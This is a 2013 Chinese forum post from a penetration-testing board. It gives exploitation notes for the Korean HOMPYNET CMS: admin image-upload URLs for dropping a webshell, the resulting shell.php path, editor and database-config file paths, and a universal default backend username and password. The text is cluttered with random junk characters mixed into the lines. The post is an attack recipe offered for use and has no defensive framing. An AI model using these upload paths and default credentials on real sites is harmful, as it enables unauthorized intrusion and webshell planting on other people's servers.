中国网络渗透测试联盟

标题: 韩国HOMPYNET CMS漏洞 [打印本页]
作者: admin    时间: 2013-3-14 20:12
标题: 韩国HOMPYNET CMS漏洞
上传漏洞  :
$ P0 }) y: f$ H0 ~- t. i
  B. g( l! ]5 D$ ?* j  M- [7 v  Rhttp://www.xxx.com/admin/image_a ... p;iname=&iform=2 q4 `3 F0 V$ E, A4 d. y/ [

0 [, K5 p- Y2 w0 L5 n7 T5 Fhttp://www.xxx.com/admin/image_a ... p;iname=&iform=) ]& m$ m* i- m9 c0 G' u
  p& a- g( P, ^3 P4 Z; j
上传后路径：
, l* \2 g8 u7 ^9 s; W
$ {$ ~6 ^8 A5 D! Mhttp://www.xxx.com/bis_web_page/images/shell.php.en) }/ M0 D! J9 k0 Z& _* h7 D
1 n! e# W( `( L6 U3 O
编辑器：
  d4 @! B5 o" s9 H! B  ?; m7 d( s, D
3 H$ m0 L. l; e) n7 [http://www.xxx.com/admin/editor/SWE.php
7 z* F4 x; f- N( P! J9 q& b- O' \& |) e9 o% V* N. O. P
http://www.xxx.com/program/editor/SWE.php
; O. y2 j  x2 F- o$ k1 V% d8 E2 P$ v+ ~$ j
数据配置文件路径：
9 ~& b. l, y3 I0 d" W4 ?9 C7 g2 m. B  R
http://www.xxx.com/m_config/DATA/g_setting.php
+ b: R/ ]- Z+ r& T; d" A
) S( j7 Q4 j9 J, I+ s7 [& E+ `) q$ Z此程序通用后台账号 ：gamsiw  php99
& G* D# j+ u% f, ^+ u) T& C- a6 G7 x/ V) t/ \' p
​
( |5 N, Q7 X' u/ O  m$ Y% z
8 ?- O; `* m1 _5 B



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2